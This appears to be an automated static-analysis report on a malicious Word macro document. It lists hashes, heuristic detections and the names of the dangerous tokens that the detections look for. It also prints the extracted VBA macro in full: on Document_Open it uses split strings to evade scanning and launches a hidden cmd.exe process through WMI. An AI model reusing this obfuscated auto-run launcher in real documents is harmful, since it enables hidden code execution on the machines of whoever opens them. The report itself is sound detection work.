Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 823ad2ded0c18f3d…

MALICIOUS

Office (OOXML)

16.4 KB Created: 2019-01-03 12:20:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-10-01
MD5: 03fc6a36edd36cc14f9e7808fd09ce03 SHA-1: 7cfbe95eed2fd2cf1989389c76324051202ef64f SHA-256: 823ad2ded0c18f3d333aa52781755001031bdc6a95b1c64b2c57e6b1399eb4ea
270 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
        Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        objProcess.Create "cmd.exe /c calc", Null, objConfig, intProcessID
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 812 bytes
SHA-256: 54ac314c72d2b3a8d433797891bf9c9bd8add51195eb48f30df7627f834c8eba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
    Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
    objProcess.Create "cmd.exe /c calc", Null, objConfig, intProcessID


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 8192 bytes
SHA-256: dbe26441efbe5acbcbfe20c5a7bb4f136ff031e338bffa1531b38a79c8de579c